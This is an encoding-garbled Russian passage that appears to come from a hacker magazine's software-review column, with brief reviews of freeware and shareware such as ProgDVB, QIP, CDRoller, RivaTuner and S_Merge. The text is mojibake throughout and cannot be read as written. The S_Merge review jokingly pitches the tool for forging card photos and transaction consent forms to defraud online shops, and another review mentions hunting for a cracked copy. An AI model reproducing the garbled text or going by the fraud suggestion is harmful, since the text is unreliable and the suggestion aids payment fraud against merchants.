ProgDVB4.62.5
QIP (Build 7570 Alpha)
RegSupreme Pro 1.2
RivaTuner2 v. 15.7
S_Merge 1.3
ThumbsPlus v.7

VISUAL HACK ++
CuteNews bug
Óñòàíîâêà áàóíñåðà psyBNC
Ïðîõîæäåíèå íîÿáðüñêîãî êîíêóðñà

UPDATES
Áåñïëàòíàÿ âåðñèÿ DrWeb äëÿ ÷èòàòåëåé æóðíàëà
Õàêåð
Áàçû äëÿ Àíòèâèðóñà Êàñïåðñêîãî
Çàïëàòêè äëÿ Windows 2000/2003/XP

CD2

x

x
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ProgDVB 4.61
Windows 95/98/2K/XP
Freeware 
Size: 2204 Ká
www.progdvb.com

Êîãäà-òî õîòåëîñü âñå äîìàøíåå õîçÿéñòâî ïðèâåñòè ê åäèíîìó
çíàìåíàòåëþ êîìïà: âèäåîãëàçîê íà äâåðè, àóäèîñèñòåìû ñî âñåé
êâàðòèðû, ïåðåäâèãàþùèåñÿ øòîðû (òåõíîëîãèÿ X10) è äàæå òîñ-
òåð. Ïîòîì ñòðàñòè ïî öèôðîâîìó äîìó ïîóòèõëè, è íà ñìåíó îêîëî-
êîìïüþòåðåííûì äåâàéñàì ïðèøëè ñïåöèàëüíûå PC-æåëåçêè ñî
âñåìè ôóíêöèÿìè äîìàøíåé òåõíèêè. DVB-êàðòû äëÿ ïðîñìîòðà
ñïóòíèêîâîãî òåëåâèäåíèÿ íà êîìïå ñòàëè òîìó ÿðêèì ïðèìåðîì.
Çàèìåâ òàðåëêó, òû ìîæåøü îòêðûòü ñîáñòâåííîå âåùàíèå âèäåî-
ïîòîêà â Ñåòü ïðè ïîìîùè ProgDVB. Êîãäà æå òåáÿ îáëîìàëè, íå
ïîñòàâèëè DVB-êàðòó è òàðåëêó, ñîôò ìîæíî èñïîëüçîâàòü â êà÷å-
ñòâå òåëåâèçîðà äëÿ óæå íàëàæåííûõ áðîàäêàñòîâ â Ñåòè. Ñîôò
ñîçäàí íàøèì êîäåðîì, ÷üè êîëëåãè õîðîøî ïîíèìàþò îòå÷åñòâåí-
íóþ ðåàëüíîñòü � îíè ðàçðóëèëè ñïåöèàëüíûé ïëàãèí äëÿ ïðîñìîò-
ðà òåëåòåêñòà, âñå åùå ñòîëü ïîïóëÿðíîãî ó íàñ. Óâû, ñîôò ïðèâÿ-
çàí ê êîíêðåòíûì êàðòàì, òàê ÷òî äëÿ ðàáîòû ñ äàííûì îáðàçöîì
ìîæåò ïîòðåáîâàòüñÿ àïãðåéä. Ðàáî÷èé õàðäâàðíûé DVB-äåêîäåð
ìîæíî êóïèòü óæå çà $80�120.

QIP (Build 7570 Alpha) 
Windows 2k/XP/2003
Size: 1.8 Ìá
Freeware
www.qip.ru

Ïîëüçîâàòüñÿ ñåðâèñîì ICQ ÿ íà÷àë åùå â òî âðåìÿ, êîãäà â Ìîñêâå ïðîâàé-
äåðîâ áûëî ìåíüøå, ÷åì ïàëüöåâ íà ðóêå. È ñ òåõ ñàìûõ ïîð ñ êëàññè÷åñêî-
ãî àñüêèíîãî êëèåíòà íèêóäà íå ïåðåñàæèâàëñÿ. Êàê-òî íå áûëî íåîáõîäè-
ìîñòè. À òóò ðåøèë âîò ïîïðîáîâàòü. È ïîäñåë. Ïîäñåë íà QIP. Îòå÷åñòâåí-
íàÿ ðàçðàáîòêà, ìåæäó ïðî÷èì. Áåñïëàòíûé êëèåíò äëÿ ïåðåäà÷è ìãíîâåí-
íûõ ñîîáùåíèé, êîòîðûé ïîçâîëÿåò ïîäêëþ÷àòüñÿ ê ðàçëè÷íûì îáùåäîñ-
òóïíûì ñåðâåðàì. Ðàçðàáîòêà QIP íà äàííûé ìîìåíò íàõîäèòñÿ â ñòàäèè
Àëüôà, ÷òî íå èñêëþ÷àåò íàëè÷èå â ïðîãðàììå íåäîðàáîòîê è óÿçâèìîñòåé.
Åñòü âñÿêèå ñòàíäàðòíûå ðàçâëå÷åíèÿ òèïà ñêèíîâ è ÿçûêîâûõ ìîäóëåé.
Íåïîñðåäñòâåííî ïðè óñòàíîâêå ìîæíî âûáðàòü ðóññêîÿçû÷íûé èíòåð-
ôåéñ. Â ïðîãðàììå ðåàëèçîâàíî î÷åíü ìíîãî ìåëêèõ, íî äåéñòâèòåëüíî
ïðèÿòíûõ øòóê, íàïðèìåð, ìîæíî çàïðîñòî îòñòðåëèòü ñåáÿ èç ÷óæîãî
êîíòàêò-ëèñòà, ÷åì ÿ è çàíèìàëñÿ ñðàçó æå ïîñëå óñòàíîâêè QIP íà ñâîþ
ìàøèíó. Ïðàêòè÷åñêè âñå ðåãóëèðóåòñÿ è íàñòðàèâàåòñÿ. Ê ÷åñòè àâòî-
ðà ïðîãðàììû ñêàæó, ÷òî çà âñå âðåìÿ ýêñïëóàòàöèè (îêîëî ïîëóãîäà)
ïðîãðàììà îòâàëèëàñü âñåãî ëèøü îäèí ðàç. Âîò êàê íàäî ïèñàòü àëüôà-
âåðñèè! À óæ ðåëèç-òî êàêîé îáåùàåò áûòü. Â îáùåì, âñåì êà÷àòü!

SHAROWARES

Centner
centner@real.xakep.ru; www.livejournal.com/~onepamop

SideX
sidex@real.xakep.ru
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Driver Ñleaner Professional v. 3.3
Windows 95, 98, 98SE, ME, 2000, XP 
Size: 1.5 Ìá
Freeware
www.drivercleaner.net

Â íàçâàíèè � ñìûñë! Óòèëèòêà ïðåäíàçíà-
÷åíà äëÿ òîòàëüíîãî óäàëåíèÿ èç ñèñòåìû
âñÿêèõ, ñòàâøèõ íåíóæíûìè, äðàéâåðîâ îò
3Dfx, ATI, Creative, Intel, kX, nVidia, Realtek,
S3 Graphics, SIS Graphics è Turtle Beach. Åñ-
ëè òû õîòü ðàç ñòàâèë äðàéâåðà ïîâåðõ ñòà-
ðûõ, òî íàâåðíÿêà èìåë ñ÷àñòüå íàáëþäàòü
ðàçíîîáðàçíûå êîñÿêè, ñëó÷àþùèåñÿ, êîã-
äà ñòàðûå è íîâûå äðàéâåðà íà÷èíàþò

ìåæäó ñîáîé âðàæäîâàòü. Ó ìåíÿ ïðè ïåðåóñòàíîâêå äðàéâåðîâ âñå äåëà-
åòñÿ ñòðîãî ÷åðåç çà÷èñòêó ïîñðåäñòâîì Driver Ñleaner Professional. ßçûêî-
âûå ìîäóëè â ïðîãðàììå ïîääåðæèâàþòñÿ, íî íàéòè ðóññêèé ìíå ïîêà íå
óäàëîñü. Íà ñàìîì äåëå ýòî ñîâñåì íå ïðîáëåìà, âñå îïåðàöèè â ïðîãðàì-
ìå ïðîñòû, ïîíÿòíû è äîñòóïíû. Áýêàï è âîññòàíîâëåíèå � â àññîðòèìåí-
òå. Ïðîãðàììà àáñîëþòíî áåñïëàòíà, äàæå â ïðîôåññèîíàëüíîé âåðñèè.

CDRoller v. 6.02 
Windows 9x/Me/NT/2k/XP
Size: 3,37 Ìá 
Shareware (Ðàáîòàåò àæ 14 äíåé)
www.cdroller.com

Äîáðàëñÿ ÿ äî CDRoller ñëó÷àé-
íî. Çàðÿäèë êàê-òî â äðàéâ
äèñê, êóäà çàïèñàë ôîòîãðà-
ôèè, à îí âîçüìè, äà íå ïðî÷-
òèñü. À êîïèè íà âèíòå äàâíî
ñíåñåíû. È ôîòîãðàôèè ïîçà-
ðåç íóæíû. È òàê è ñÿê ïðîáî-
âàë, íå èçâëåêàþòñÿ ôîòîãðà-
ôèè íèêàê è íè÷åì, íó õîòü òû
òðåñíè. Ïîñëåäíåå ñðåäñòâî îñ-
òàâàëîñü � CDRoller. Äåéñòâèòåëüíî ìîùíûé è óäîáíûé â ðàáîòå êîìïëåêò
èíñòðóìåíòîâ äëÿ âîññòàíîâëåíèÿ äàííûõ íà êîìïàêò-äèñêàõ. Âíóòðè ïðîã-
ðàììû âû íàéäåòå: Data CD browser, content reader, CD-ripper, CD-tester, CD-
cataloguer, Session selector, CD Data Rescue module. CDRoller óìåëî ÷èòàåò
íå÷èòàåìîå. Ïîïûõòåë, êîíå÷íî, íî ñ÷èòàë âñå, ÷òî ìíå áûëî íóæíî èç äå-
ôîðìèðîâàííûõ çîí. Íó è òàê, åùå êîå-÷òî ïî ìåëî÷è óìååò: òåñòèðóåò äèñ-
êè íà ïðåäìåò ÷èòàáåëüíîñòè, ñîçäàåò àðõèâû äàííûõ, èùåò â íèõ íóæíûå
ôàéëû, êîïèðóåò àóäèîäèñêè, ïîääåðæèâàåò âîññòàíîâëåíèå äèñêîâ, ñîç-
äàííûõ ñ ïîìîùüþ drag and drop ïðîãðàìì, òàêèõ êàê Adaptec DirectCD è
Nero Burning ROM, â òîì ÷èñëå çàïèñàííûõ â ìóëüòèñåññèè. Èùåò è âîññòà-
íàâëèâàåò ôàéëû íà UDF-äèñêàõ. Ðàáîòàåò ñ CD-DA, CD-ROM, CD-WO, CD-
ROM XA, Mixed-Mode CD, Stamped Multisession CD, DVD-ROM, DVD-R, DVD-
RW, DVD+R, DVD+RW.

DVD Identifier v4.2.0 
Windows 9x/Me/NT/2k/XP
Size: 1016 Ká
Freeware
http://dvd.identifier.cdfreaks.com

Åñëè êòî íå çíàåò, òî DVD-áîëâàíêè ïîä êàêîé-íèáóäü íàäåæíîé òîðãî-
âîé ìàðêîé ìîæåò êëåïàòü êòî óãîäíî. È ÷òîáû áîëåå-ìåíåå äîñòîâåðíî

âûÿñíèòü, ÷òî ýòî òû òàêîå â ñâîé
DVD-äðàéâ çàñîâûâàåøü, ñòîèò
ñêîðìèòü áîëâàíêó òîâàðèùó ïî
ôàìèëèè DVD Identifier. Óçíàåòå
ìíîãî íîâîãî. Ïðîãðàììà âûâîäèò
èíôîðìàöèþ îá èçãîòîâèòåëå, òè-
ïå DVD, ñêîðîñòÿõ, íà êîòîðûõ âîç-
ìîæíà çàïèñü, è åùå ìíîãî ÷åãî
ïîëåçíîãî. Äëÿ íàñòîÿùèõ DVD-
ôðèêîâ èìååòñÿ îíëàéíîâàÿ, ïîñ-
òîÿííî ïîïîëíÿåìàÿ áàçà ïðîèçâî-
äèòåëåé DVD-äèñêîâ. Ñîôòèíà
ïîääåðæèâàåò ñëåäóþùèå ôîðìà-
òû DVD-áîëâàíîê: dvd+r, dvd+r dl,

dvd+rw, dvd+rw dl, dvd-r, dvd-r dl, dvd-rw è dvd-ram. Íó è ñâåæåðàçðàáîòàí-
íûå blu-ray media (bd-r è bd-re), êîíå÷íî æå. Äà, dl, åñëè êòî íå çíàåò, � ýòî
äâóõñëîéíûå äèñêè.

RegSupreme Pro 1.2
Windows 9x/Me/NT/2k/XP
Size: 859 Êá
Shareware
www.macecraft.com/regsupreme

Ðàíüøå, êîãäà ÿ ïîáàèâàëñÿ ðóêàìè-êðþêàìè çàëåçàòü â âèíäîâûé ðå-
åñòð, ïîïûòêè ÷òî-òî òàì íàëàäèòü èíîé ðàç ïðèâîäèëè ê ñòàðîìó-äîáðî-
ìó ôîðìàòèðîâàíèþ ñèñòåìíîãî ðàçäåëà è ìèëîé ñåðäöó êàæäîãî íàñ-
òîé÷èâîé óñòàíîâêå ñâåæåé âèíäû. Ïîòîì ïîÿâèëàñü ïðîãðàììà
RegCleaner, îòëè÷íî èçâåñòíàÿ â óçêèõ êðóãàõ, ïîòîì è îíà êàíóëà â Ëå-
òó, îñòàâèâ ïîñëå ñåáÿ jv16 PowerTools. À ñåãîäíÿ íà ñìåíó èì âñåì
ïðèøëà RegSupreme Pro. Ïðîãðàììà, ïðåæäå âñåãî, ðàáîòàåò ñ ðååñò-
ðîì, íî äàëåêî íå òîëüêî ýòèì îãðàíè÷èâàåòñÿ ñôåðà åå ïðèìåíåíèÿ.
Îíà íå òîëüêî î÷èñòèò ðååñòð îò íåíóæíûõ è óñòàðåâøèõ çàïèñåé, íî 
è àâòîìàòè÷åñêè èñïðàâèò íàéäåííûå îøèáêè, âîçüìåò íà ñåáÿ óïðàâëå-
íèå ïðîãðàììàìè, àâòîìàòè÷åñêè çàïóñêàåìûìè ïðè çàãðóçêå Windows,
óäàëåíèå çàïèñåé èç ñïèñêà óñòàíîâëåííûõ ïðîãðàìì, à òàêæå îòêëþ÷å-
íèå íåíóæíûõ ýëåìåíòîâ â êîíòåêñòíîì ìåíþ Ïðîâîäíèêà è IE.
RegSupreme Pro � ðåêîðäñìåí ïî ñêîðîñòè ñêàíèðîâàíèþ ðååñòðà è êî-
ëè÷åñòâó íàõîæäåíèÿ íåâåðíûõ çíà÷åíèé. RegSupreme Pro èìååò ôóíê-
öèþ îòêàòà, ÷òî ïîçâîëÿåò âåðíóòü ðååñòð â ïåðâîíà÷àëüíîå ñîñòîÿíèå â
ñëó÷àå íåîáõîäèìîñòè. Ðóññêèé ÿçûêîâîé ìîäóëü èìååòñÿ, ðàáîòàåò
ñîôòèíà áûñòðî, òùàòåëüíî, êà÷åñòâåííî è ëèøíåãî íè÷åãî íå óäàëÿåò.

ThumbsPlus v.7
Windows 9x/Me/NT/2k/XP
Size: 17.8 Ìá
Shareware
www.cerious.com

Åñòü òàêèå ñïåöèàëüíûå ëþäè � ïàïàðàööè. Èì ïðèõîäèòñÿ äåííî è
íîùíî ñèäåòü â çàñàäàõ íå òîëüêî ñ ôîòîêàìåðîé, îãðîìíûì òåëåîáúåê-
òèâîì, êàìåðîé, ìèêðîôîíîì, ðó÷êîé è áëîêíîòîì, íî ïîä÷àñ è ñ ñèíÿêà-
ìè è øèøêàìè, â èçîáèëèè âûñûïàåìûìè íà ôîòîîõîòíèêîâ çà çâåçäà-
ìè ýòèìè ñàìûìè çâåçäàìè. Íåñëîæíî äîãàäàòüñÿ, ÷òî ñàìî ñëîâî «ïà-
ïàðàööè» èìååò èòàëüÿíñêîå ïðîèñõîæäåíèå, õîòÿ íàèáîëåå ñâèðåïûìè
è ïðîôåññèîíàëüíûìè ïàïàðàööè îáùåïðèçíàíû àíãëè÷àíå, ôðàíöóçû
è àìåðèêàíöû. Èíîãäà ïàïàðàööè äåëàþò äåéñòâèòåëüíî íåâîçìîæíîå. 
ß òîæå õîòåë ñäåëàòü íåâîçìîæíîå è ñäåëàë, ïîëó÷èâ 
çàáèòûå ïîä çàâÿçêó âèí÷åñòåðû. Íàäî áûëî ñðî÷íî ñîðòèðîâàòü ñâîè
ìíîãî÷èñëåííûå ôîòîøåäåâðû. Òóò íóæåí õîðîøèé êàòàëîãèçàòîð, êàê



ìèíèìóì, óìåþùèé ðàáîòàòü ñ áàçàìè çàäàííûõ êëþ÷åâûõ ñëîâ è ïîêà-
çûâàòü âåñåëûå êàðòèíêè ïî ïåðâîìó òðåáîâàíèþ. Òàê óæ ñëó÷èëîñü, ÷òî
âñåìè ëþáèìûé ACDSee ÿ íà äóõ íå ïåðåíîøó, âîò è íàøåë àëüòåðíàòè-
âó, î÷åíü è î÷åíü ïîäõîäÿùóþ äëÿ óïðàâëåíèÿ çàâàëàìè êàðòèíîê.
Thumbs Plus åå ôàìèëèÿ. Îáû÷íûì îáðàçîì ïðîãðàììà ðàáîòàåò òàê:
çàïóñêàåøü, ïîêàçûâàåøü, êàêèå äèñêè ñêàíèðîâàòü íà ïðåäìåò íàëè÷èÿ
êàðòèíîê, è ïîëó÷àåøü áàçó ïðåâüþøåê. Ñîðòèðóåøü ïî-âñÿêîìó, çàäà-
åøü êëþ÷åâûå ñëîâà, äåëàåøü ñ êàðòèíêàìè ÷òî õî÷åøü. Ïðîñòîé ãðàôè-
÷åñêèé ðåäàêòîð âíóòðè åñòü, EXIF âèäåí, ðàáîòàåò âñå øóñòðî, ñíèìêè
íà removable drives � íå ïðîáëåìà. Âîçìîæíîñòè ïîèñêà  èñ÷åðïûâàþ-
ùèå: ïî ñïåöèàëüíî çàäàííûì êëþ÷åâûì ñëîâàì, ïî êîììåíòàðèÿì, ïî
SQL-çàïðîñàì, ïî øèðèíå è âûñîòå, äà õîòü ïî òîëùèíå. Ïîìèìî ýòîãî,
óìååò êîððåêòíî ðàñïîçíîâàòü äóáëèðóþùèåñÿ êàðòèíêè, ïðåîáðàçîâû-
âàòü ôàéëû â ðàçëè÷íûå ôîðìàòû è ïðîâîäèòü ìíîæåñòâî äðóãèõ àâòî-
ìàòè÷åñêèõ îïåðàöèé. Â ïðîöåññå ðàáîòû âåäåòñÿ ODBC áàçà èçîáðàæå-
íèé, ÷òî ïîçâîëÿåò ïðîãðàììå, ïîääåðæèâàþùåé äàííûé èíòåðôåñ,
ïîäêëþ÷àòüñÿ ê áàçå äàííûõ. Íî ýòî óæå èçëèøåñòâî :). Ñ ñàéòà ïðîãðàì-
ìû ìîæíî íàêà÷àòü ïëàãèíîâ äëÿ ðàáîòû ñ RAW-ôàéëàìè.

RivaTuner2 v. 15.7 
Windows 9x/Me/NT/2k/XP
Size: 1 Ìá
Freeware
www.nvworld.ru

RivaTuner íà ñåãîäíÿ � îäíî
èç ìîùíåéøèõ èíñòðóìåíòàëü-
íûõ ñðåäñòâ äëÿ íàñòðîéêè âè-
äåîêàðò ôèðì NVIDIA è ATI, ðà-
áîòàþùèõ ïîä ÎÑ Windows.
Êëàññèêà æàíðà äëÿ NVIDIA-
âîäîâ. Ïîëüçóþñü äàâíî è ñ
óäîâîëüñòâèåì. Ïîæàëóé, îò
ñåáÿ íè÷åãî âûäóìûâàòü íå áó-
äó, ëó÷øå ïîçíàêîìëþ âàñ ñ
àâòîðñêèì âèäåíèåì ïðåäíàç-
íà÷åíèÿ. RivaTuner � ïîëíî-
ìàñøòàáíàÿ ñðåäà äëÿ íàñò-
ðîéêè ëþáûõ âèäåîêàðò, îñíî-
âàííûõ íà ãðàôè÷åñêîì ïðî-

öåññîðå NVIDIA. RivaTuner ïîääåðæèâàåò âñå ãðàôè÷åñêèå àäàïòåðû
NVIDIA, íà÷èíàÿ ñ ñåìåéñòâà Riva TNT è çàêàí÷èâàÿ ïîñëåäíåé ñåðèåé
GeForce 6800. Êðîìå ýòîãî, îáåñïå÷èâàåò ïîääåðæêó øèðîêîãî äèàïàçîíà
äðàéâåðîâ NVIDIA, íà÷èíàÿ ñ Detonator 2.08 è çàêàí÷èâàÿ ïîñëåäíèì ñåìåé-
ñòâîì ForceWare. Óíèêàëüíûå âîçìîæíîñòè ïî äèàãíîñòèêå è àïïàðàòíîìó
ìîíèòîðèíãó â ðåàëüíîì âðåìåíè è ìîùíûå èíñòðóìåíòû, òàêèå êàê âñòðî-
åííûé ðåäàêòîð ðååñòðà è ñêðèïòîâûé ìåõàíèçì ðåàëèçàöèè ïàò÷åé, äåëà-
þò èíñòðóìåíòàðèé RivaTuner íåïðåâçîéäåííûì. Äîïîëíèòåëüíî ê ïîëíîé
ïîääåðæêå ïðîäóêöèè NVIDIA RivaTuner îáåñïå÷èâàåò îãðàíè÷åííóþ ïîääå-
ðæêó âèäåîêàðò ôèðìû ATI, íà÷èíàÿ ñ RADEON 8500 è âûøå. Âåñü ôóíêöè-
îíàë RivaTuner, êðîìå íàñòðîéêè îïöèé äðàéâåðà, òàêæå äîñòóïåí ïîëüçîâà-
òåëÿì âèäåîêàðò ATI. Ñåðüåçíàÿ ïðîãðàììà äëÿ ñåðüåçíûõ ëþäåé è îòíîøå-
íèÿ ê ñåáå òðåáóåò ñàìîãî ñåðüåçíîãî. À ïîòîìó áåç âäóì÷èâîãî èçó÷åíèÿ
FAQ ïî èñïîëüçîâàíèþ ïðîãðàììû http://www.nvworld.ru/docs/rt_scripts.html
ëó÷øå åå íå èñïîëüçîâàòü. Âèäåîêàðòû íûí÷å íåäåøåâû :). Íó è âêðàòöå î
âîçìîæíîñòÿõ: íàñòðîéêà ïàðàìåòðîâ Direct3D è OpenGL äðàéâåðà âèäåî-
êàðòû, ðàçãîí âèäåîêàðòû êàê ÷åðåç äðàéâåð, òàê è ïðÿìûì äîñòóïîì ê «æå-
ëåçó», ñîçäàíèå äåòàëüíîãî îò÷åòà î õàðàêòåðèñòèêàõ âèäåîêàðòû, âîçìîæ-
íîñòÿõ Direct 3D è OpenGL äðàéâåðà, ðåæèìå ðàáîòû øèíû AGP, ìîíèòîðå,
óïðàâëåíèå ðàáîòîé øèíû AGP êàê ÷åðåç êîíôèãóðèðîâàíèå äðàéâåðà, òàê
è íàïðÿìóþ, ìîíèòîðèíã â ðåàëüíîì âðåìåíè ÷àñòîò, òåìïåðàòóð è íàïðÿæå-
íèé âèäåîêàðòû, ñêîðîñòè âðàùåíèÿ êóëåðà, èçìåðåíèå FPS, çàãðóæåííîñ-
òè ïðîöåññîðà è èñïîëüçîâàíèÿ âèäåîïàìÿòè â èãðàõ è ïðèëîæåíèÿõ, ðàçá-
ëîêèðîâàíèå îòêëþ÷åííûõ áëîêîâ âèäåîïðîöåññîðîâ ñåìåéñòâà GeForce
6X00 è åùå êó÷à âñåãî ïîëåçíîãî è òîëêîâîãî.

S_Merge 1.3
Windows 95/98/2K/XP
Shareware 
Size: 779 Ká
www.graphicutils.com/smerge

Òåìíûå ëè÷íîñòè ëþáÿò âñïîìèíàòü ñëàäêóþ ïîðó 90-õ, êîãäà ìîæíî áû-
ëî óñïåøíî çàòîâàðèâàòüñÿ â îíëàéí-ìàãàçèíàõ ïî ñãåíåðåííûì íîìå-
ðàì CC. Òåïåðü æå ïðîäàâöû íàáèëè øèøêè íà ñâîèõ âûñîêèõ ëáàõ è íà-
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òåðëè ìîçîëè â áîëåå íåæíûõ ÷àñòÿõ òåëà. Òåïåðü èì ïîäàâàé âñå â ïîë-
íîì êîìïëåêòå è àæóðå: ôîòêó CC è îò ðóêè íàêàòàííîå çàÿâëåíèå î ñîã-
ëàñèè íà òðàíçàêöèþ. Òóò õàêåðþãè ÷åøóò ðåïó è ñîæàëåþò î íåâíèìà-
íèè ê ðåêëàìå êóðñà ôîòîøîïà, óâèäåííîé â «Èç ðóê â ðóêè».  Æàäíûå,
íî ëåíèâûå áîéöû ñêà÷èâàþò ïðîñòåéøóþ òóëçó S_Merge, êîòîðàÿ ïîç-
âîëÿåò óñïåøíî ìîíòèðîâàòü ïàðó êàðòèíîê (ôîòîê) äëÿ äîñòèæåíèÿ æå-
ëàííîãî ìåð÷àíòîì (èíòåðíåò-áàðûãîé) âíåøíåãî âèäà. Äëÿ ëþáèòåëåé
åùå áîëåå îñòðûõ èãð ïî ðèñîâàíèþ ñëîæíûõ äîêóìåíòîâ åñòü ÷óòêî
íàñòðàèâàåìûå îïöèè íàëîæåíèÿ âîäÿíûõ çíàêîâ. Ãèãàáàéòíûé
PhotoShop ñ òîííîé ïëàãèíîâ çàìåùàåò ïðîñòàÿ ìåãàáàéòíàÿ âåùè÷êà. 

AdRem SNMP Manager 1.0.1
Windows 2K/2003/XP
Shareware 
Size: 19310 Ká
www.adremsoft.com 

×èòàòåëü, òû äâóëè÷åí!
Îäíà ïîëîâèíà îáèæà-
åòñÿ íà îïèñàíèå ïîïñî-
âûõ ïðîã, äðóãàÿ áðàíèò
çà óãëóáëåíèå â òåõíè-
÷åñêèå äåáðè àäìèíñêî-
ãî è êîäåðñêîãî ÏÎ. Êî-
ìó âåðèòü? Îòäàäèì
äàíü ïåðâûì ñ íàïîìè-
íàíèåì î âûõîäå íîâîé
ñåðèè SNMP-ìåíåäæå-
ðà, êîòîðûé çàìåòíî óï-
ðîñòèò æèçíü ñèñàäìè-
íó, â ÷üå öàðñòâî çàêðàëèñü SNMP-äåâàéñû � ñåòåâûå ïðèíòåðû, àïïà-
ðàòíûå ôàéðâîëû, ñâèò÷è è ðîóòåðû. Àäìèíèòü êàæäûé èç íèõ � âñå
ðàâíî, ÷òî çàíèìàòüñÿ äåëàìè êàæäîé æåíû ãàðåìà â îòäåëüíîñòè. Íåò,
ìû ïîääåðæèâàåì êîìïëåêñíûé ïîäõîä, êîòîðûé ïðåäëàãàåò ðàññìàò-
ðèâàåìàÿ ñîôòèíà. Óâû, êîììåð÷åñêîé âåðñèè â P2P è íà IRC íàéòè íå
óäàëîñü, êàê è ëåêàðñòâà îò äîêòîðà Ast'û. Ïðè âñåì èíòåðåñå äàííîãî
îáðàçöà îí ìîæåò ñêîðåå ñòàòü ïðèìåðîì öåëîãî ñåìåéñòâà àäìèíèñò-
ðàòèâíûõ ïðèìî÷åê, êîòîðûìè èçîáèëóåò èíåò. Ìíå ëè÷íî ïðèøëîñü ïî
âêóñó äîïîëíåíèå ê LANdecoder'ó ñ ïîíÿòíûì èìåíåì � SNMP Manager.
Çäåñü âñå æå ëó÷øå îáñòîèò äåëî ñ ïèëþëÿìè îò æàäíîñòè.

Fasterfox 0.7.8
Windows 95/98/me/2K/2003/XP
Freeware 
Size: 58 Ká
http://fasterfox.mozdev.org

Êàê áû òû íè áûë êðóò, ýòîãî áóäåò ìàëî.
Ïîñòàâèâ FireFox, êîðîëåì òû íå îêà-
æåøüñÿ, ïîêà âñå íå áóäåò íà 100% âûëè-
çàíî ïî òåìå íîâîìîäíîãî áðàóçåðà. Äëÿ
êàêèõ áû ñâåðõëþäåé íå äåëàëñÿ ñîôò,
âñåõ ïîæåëàíèé  íå ó÷åñòü. Òåáå îáÿçà-
òåëüíî ïîòðåáóåòñÿ èçâðàò, êîòîðîãî èñ-
ïóãàåòñÿ ñîñåä. Äëÿ ïîáåäû ñòðàõîâ è
äîñòèæåíèÿ âñåîáùåãî óäîâëåòâîðåíèÿ

áûëè âûïóùåíû tweaker'û, êîòîðûå ïåðåëîïà÷èâàíèåì êèøîê ïðîãè äî-
áèâàþòñÿ íàèëó÷øåãî ðåçóëüòàòà. Ìû âñå óñòàëè îò ïîäîáíûõ ïðèáëóä
äëÿ IE è ñàìîé âèíäû, åãî íîñÿùåé. Çäåñü ìîæíî ÷óòêî íàñòðîèòü ìîä-
íûé FireFox: êýø, ñîåäèíåíèå, îïòèìèçàöèÿ ñêîðîñòè çàãðóçêè êàê ñòðà-
íèö, òàê è ñàìîé ïðîãè. Ôèëîñîôèÿ òâèêåðà íàïîìèíàåò IE'øíóþ, òàê ÷òî
âñå îïåðàöèè ïðîéäóò êàê ïî ìàñëó, áåç ó÷àñòèÿ êëàâèøè F1. 

As-U-Type Speller 3.1
Windows 2K/2003/XP
Shareware 
Size: 2655 Ká
www.fanix.com

Åñòü îäíî âåðíîå ñðåäñòâî ïî-
ëîæèòü íà ëîïàòêè ïðîòèâíèêà
â ñòîëü ïîïóëÿðíîì ñîñòÿçà-
íèè, êàê ñåòåâîé ôëåéì, �
óêàçàòü íà åãî íåãðàìîòíîñòü. 
Â ñëîâåñíûõ áàòàëèÿõ íåèçáåæ-
íû îøèáêè. Ñðåäñòâà ñäåëàòü
òâîåãî íåäðóãà åùå áîëåå íåã-
ðàìîòíûì ïîêà íå áûëî íàéäå-
íî. Çäåñü æå òåáå ïðåäëàãàåòñÿ

ïàíàöåÿ, êîòîðàÿ ñîçäàñò îðåîë ïðèðîäíî-ãðàìîòíîãî ÷åëîâåêà. Òðåíè-
ðîâàòüñÿ íà÷íåì ñ áàñóðìàí, òàê êàê äàííàÿ ïðîâåðêà îøèáîê
(spellchecker) çíàåò òîëüêî áðèòàíñêèå è àìåðèêàíñêèå íàðå÷èÿ àíã-
ëèéñêîãî. Ñêîðìèòü åé ñëîâàðü èç MS Office (custom.dic) íå ïîëó÷èëîñü.
Îäíàêî â àíãëèéñêîì ïðåðåêàíèé íå áûëî, ïðîãà óìååò íàõîäèòü îøèá-
êè ïðè âáèâå òåêñòà â ñðåäå ëþáîãî ñîôòà: áðàóçåðå, ìûëüíîì êëèåíòå,
àñüêå, IRC-êëèåíòå è ìíîãèõ äðóãèõ. Èíòåðåñíîå íà÷èíàíèå, êîòîðîìó
õî÷åòñÿ ïîæåëàòü ñêîðåéøåãî îáðåòåíèÿ ðóññêîãî ñëîâàðÿ äëÿ ñïàñå-
íèÿ íàñ îò íåãðàìîòíîñòè â íàöèîíàëüíîì ñëîâåñíîì åäèíîáîðñòâå. 

Dexster 2.10
Windows 95/98/Me/2K/2003/XP
Shareware 
Size: 7618 Ká
www.softdivshareware.com

Â äàëåêîì 1999 ãîäó Õ îáåùàë òåáå ñåêñóàëüíóþ íèðâàíó ïîñëå îáðå-
òåíèÿ æåëàííîãî îáðàçà DJ, êîòîðîìó âñåãî-òî è íàäî áûëî � ñêà÷àòü
îïèñàííûå ïðîãè äëÿ ñâåäåíèÿ ìóçëà è ñäåëàòü óáåäèòåëüíîå ëèöî.
Ñåé÷àñ äàæå ñàìîå îäóõîòâîðåííîå ëèöî ïîòåðÿåò ñâîþ óáåäèòåëü-
íîñòü, åñëè íàçîâåò ñåáÿ ÄÆ. Ýòî íàñòîëüêî Pop è ïîâñåìåñòíî, ÷òî
ïðèøëî âðåìÿ ñòåñíÿòüñÿ ñâîåãî íåäóãà. Ñåé÷àñ âàæíîñòü ëèöà ìîæ-
íî ïîä÷åðêíóòü, ñîîáùèâ, ÷òî òû � âûñîêîîïëà÷èâàåìûé çâóêîâîé
ðåæèññåð, êîòîðûé ó÷èò æèçíè âñåõ ýòèõ õèïïè-íàðêîìàíîâ-àëêîãîëè-
êîâ, êîòîðûå ëàáàþò ìóçûêó íà äâóõ àêêîðäàõ, à òû æå èì ñîçäàåøü
øåäåâðû. Ïðîñòîé çâóêîâîé ðåäàêòîð, êîòîðûì ìîæíî îáðàáîòàòü ìó-
çûêàëüíîå ïðîèçâåäåíèå ëþáîé ñëîæíîñòè, ïðîñòî äâèãàÿ ìûøêîé:
çäåñü íàäî áîëüøå áàñîâ, çäåñü � óáàâèòü òåìï, à çäåñü � âîîáùå
ìîë÷àòü! Ïîìèìî ïðîôåññèîíàëüíîé, íî ïîíÿòíîé îáðàáîòêè, åñòü
óæå ïðèâû÷íîå ðàáîòíèêàì âèíèëà ñâåäåíèå íåñêîëüêèõ òðåêîâ. Ýòî
íå óíèêàëüíî, íî îêàçûâàåòñÿ î÷åíü ñîáëàçíèòåëüíûì äàííûé òàíäåì �
